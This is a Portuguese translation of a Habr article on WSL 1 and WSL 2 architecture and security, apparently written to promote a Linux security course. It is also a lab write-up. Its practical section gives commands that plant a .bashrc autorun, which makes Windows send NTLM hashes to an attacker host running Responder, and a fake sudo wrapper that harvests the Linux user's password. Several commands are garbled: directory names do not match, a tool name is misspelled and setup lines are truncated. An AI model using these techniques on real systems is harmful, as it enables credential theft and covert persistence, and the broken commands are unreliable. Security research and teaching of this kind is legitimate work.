Experimentos WSL. Parte 1

Hello habr! Em outubro, a OTUS está lançando um novo fluxo de curso de Segurança Linux . Na véspera do início do curso, estamos compartilhando com vocês um artigo escrito por um de nossos professores - Alexander Kolesnikov.










Em 2016, a Microsoft lançou a nova tecnologia WSL ( W indows S ubsystem for Linux), que a longo prazo tornou possível unir competidores antes irreconciliáveis ​​que lutavam pela popularidade entre usuários de SO comuns e avançados: Windows e Linux. Essa tecnologia possibilitou o uso de ferramentas Linux em ambiente Windows sem a necessidade de iniciar o Linux, por exemplo, usando Multi-boot. No Habr, você pode encontrar um grande número de artigos que descrevem os benefícios de usar WSL. No entanto, infelizmente, no momento em que o artigo foi criado, nenhum estudo de segurança de tal simbiose de sistemas operacionais foi encontrado neste recurso. Esta postagem tentará consertar isso. O artigo falará sobre os recursos das arquiteturas WSL 1 e 2 e analisará vários exemplos de ataques a sistemas que usam essas tecnologias. O artigo está dividido em 2 partes.O primeiro fornecerá os métodos teóricos básicos de ataques ao Linux e ao Windows. O segundo artigo incluirá a configuração de um ambiente de teste e a repetição de ataques.



WSL 1: recursos de arquitetura



Para uma imersão mais precisa nas questões de segurança do WSL, é necessário determinar as principais nuances associadas à implementação do subsistema. Uma das principais tarefas do usuário resolvidas pelo WSL é fornecer a capacidade de trabalhar por meio dos sistemas Linux de terminal em um host com sistema operacional Windows. Além disso, a compatibilidade proposta era tão nativa que os arquivos executáveis ​​do Linux (ELFs) podiam ser executados diretamente em um sistema Windows. Para atingir esses objetivos, um subsistema especial foi criado no Windows 10 que permite executar aplicativos Linux usando um conjunto de chamadas de sistema específicas - assim, foi feita uma tentativa de mapear um conjunto de syscalls do Linux para o Windows. Fisicamente, isso foi feito adicionando novos drivers e um novo formato de processo. Visualmente, a arquitetura era assim:







Na verdade, a interação com o sistema operacional Linux foi organizada por meio de vários módulos nucleares e um tipo especial de processos - pico. No diagrama acima, você pode ver que o processo em execução na instância do Linux no host deve ser nativo e deve usar os mesmos recursos que os aplicativos regulares do Windows. Mas como isso pode ser alcançado? O projeto Drawbridge desenvolveu conceitos de processo do Windows que forneciam todos os componentes do sistema operacional (dependendo da versão) necessários para executar um aplicativo de sistema operacional diferente.

Observe que a abstração proposta tornou possível não focar no sistema operacional (em particular, Windows), no qual o processo de outro SO deve iniciar, e ofereceu uma abordagem geral.
Assim, qualquer aplicativo dentro do processo pico pode ser executado sem levar em conta o kernel do Windows:



  1. Problemas de compatibilidade e tradução de chamadas do sistema devem ser resolvidos por fornecedores dedicados;
  2. O controle de acesso deve ser feito através do Monitor de Segurança. O monitor reside no kernel e, portanto, o Windows precisava de uma atualização na forma de um novo driver que pudesse atuar como um provedor para esses processos. Um protótipo do processo pico é mostrado esquematicamente abaixo:






Como o sistema de arquivos do Linux usa nomes de arquivos e diretórios com distinção entre maiúsculas e minúsculas, 2 tipos de sistemas de arquivos foram adicionados ao Windows para funcionar com WSL - VolFS e DriveFS. VolFS é uma implementação do sistema de arquivos Linux, DriveFS é um sistema de arquivos que funciona de acordo com as regras do Windows, mas tem a capacidade de escolher a distinção entre maiúsculas e minúsculas dos nomes.



WSL 2



O WSL 1 tinha uma série de limitações que o impediam de ser usado para resolver o intervalo máximo de tarefas: por exemplo, ele não tinha a capacidade de executar aplicativos Linux de 32 bits e os drivers de dispositivo não podiam ser usados. Portanto, em 2020, o WSL 2 foi lançado, o que mudou a abordagem de construção do subsistema. WSL 2 é uma máquina virtual otimizada que atende às características de consumo de recursos do WSL 1. Agora, dependendo dos problemas resolvidos pelo usuário do Windows, você pode selecionar a versão necessária do subsistema Linux. Para mitigar vulnerabilidades potenciais, o WSL 2 foi implementado com base no Hyper-V no Windows 10. Nesta forma, o Windows tem a capacidade de executar o kernel do Linux isoladamente. Vale lembrar que a versão 1 do WSL foi introduzida como um recurso beta,que deveria mostrar o vetor de desenvolvimento do Windows nesta área, então a transição para o Hyper-V era inevitável. A arquitetura final fica assim:







Nesta versão, os kernels Windows e Linux têm seus próprios recursos e a interseção existe apenas no sistema de arquivos, mas esta interseção não é completa. A interação entre os sistemas de arquivos é realizada por meio de um wrapper cliente-servidor que roda no protocolo 9P.



Hoje, a Microsoft oferece a capacidade de alternar entre WSL 1 e WSL 2. Ambas as versões estão disponíveis para uso.



Segurança WSL



No momento, existem vários artigos que descrevem algumas abordagens para usar ferramentas legítimas do sistema operacional para atacar as interações entre os subsistemas. Usaremos seus scripts para verificar a relevância dos ataques no momento da redação deste artigo. Lista geral de ataques e cenários:



1. Implementação do sistema de arquivos: direitos de acesso, a presença de diretórios compartilhados / mecanismos de troca de dados.



A pesquisa foi realizada sobre o tema violação das regras de acesso do Linux FS-> Windows FS, Windows FS-> Linux FS . Estudos demonstraram a capacidade de modificar um determinado arquivo no sistema operacional de destino. Também foram feitas tentativas de substituir, criar duplicatas e excluir parte dos sistemas de arquivos.



Cenário:



  • A. Ataque do sistema operacional Windows - modificação de arquivos do diretório / etc do Linux.
  • B. Ataque do sistema operacional Linux - modificação de arquivos nos diretórios: C:\Windows, C:\Program Files,C:\Users\<User>


2. Implementação da pilha de rede.



A pesquisa foi realizada com exemplos de ataques do sistema operacional Linux no Windows. Foram utilizadas as funcionalidades da pilha de rede, nomeadamente, mecanismos de autenticação em vários recursos.



Cenário:



  • Abrindo o acesso a uma porta que está ocupada em um sistema Windows
  • Abertura da porta na ausência de direitos apropriados
  • Lançamento de um shell reverso usando um arquivo elf no sistema operacional Windows.


3. Ocultação do lançamento de processos de software malicioso devido ao subsistema WSL.



A pesquisa foi baseada em um simples fato - subsistemas de proteção não podem interceptar eventos em outro núcleo, que funciona usando um provedor legítimo do sistema operacional no caso do WSL 1. No caso do WSL 2, não há como visualizar os eventos que ocorrem em um núcleo separado dentro máquina virtual leve.



Cenário:



1) Lançamento do aplicativo para acesso remoto ao sistema e visualização dos eventos registrados.



Experimentos WSL 1: captura de hash (sistema operacional Windows)



Finalmente chegamos à parte prática. Primeiro, você precisa configurar o ambiente para os testes. Todos os experimentos serão realizados em um estande com o Windows 10 2004 instalado. O Ubuntu 18.04 foi escolhido como a imagem do sistema operacional para o WSL. A imagem foi escolhida aleatoriamente e qualquer outra funcionará da mesma forma. Comandos para configurar o estande:



Primeiro, você precisa executar powershell.execomo administrador.



Para WSL 1, você precisa executar os comandos: Após reiniciar o suporte, você pode chamar o comando bash. Se tudo funcionar corretamente, você verá algo assim no console do Windows: Usaremos a distribuição Kali Linux como a máquina do invasor, todas as máquinas devem estar na mesma rede local.



  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux # WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing # Linux Microsoft
  • Ubuntu.appx install —root #
  • , , , root. sam.
  • Restart-Computer #
















  • Vamos supor que temos acesso sem privilégios ao WSL em uma máquina Windows. Vamos tentar atacar o sistema operacional Linux chamando um comando do Linux. Para implementar o ataque, usaremos uma técnica de execução automática simples - adicionaremos nosso script para execução no ambiente Linux. Para fazer isso, você precisa modificar o arquivo .bashrc.



    Em uma máquina com WSL, execute:



    	1. bash
    	2.     : cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe \» \\\\\\\\attacker_ip\\\\shareName\\\\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit


    Em uma máquina Kali Linux, execute:



    1. Responder -I eth0 -rdvw


    Em uma máquina Windows, execute o bash.



    Estamos aguardando o resultado na máquina Kali Linux:







    Assim, obtivemos os hashes do usuário Windows através do subsistema WSL executando o comando no sistema Linux.



    Experimentos WSL 1: Recuperando a senha do usuário (sistema operacional Linux)



    Vamos fazer mais uma experiência. Durante esta verificação, iremos complementar o arquivo com .bashrcvários comandos para obter a senha do usuário para o sistema operacional Linux.



    Vamos começar o bash e inserir os comandos:



    1. mkdir .hidden
    2. echo "export PATH=\$HOME/.hidden/:\$PATH:" >> .bashrc
    3. echo "read -sp \"[sudo] password for $USER: \" sudopass" > .hidden/sudo
    4. echo "echo \"\"" >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo \"Sorry, try again.\"" >> .mysudo/sudo
    7. echo "echo \$sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo \$@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit


    Para que o ataque seja concluído com êxito, o usuário Sam precisa invocar sudo no terminal Linux. Depois disso, a senha do usuário do sistema operacional Linux estará no arquivo pass.txt:







    A implementação dos ataques foi apresentada apenas para informação teórica.



    A próxima parte do artigo irá descrever a implementação do protocolo 9P, considerar a criação de um scanner para este protocolo e também realizar um ataque usando-o.



    Lista de literatura usada







    Consulte Mais informação






    All Articles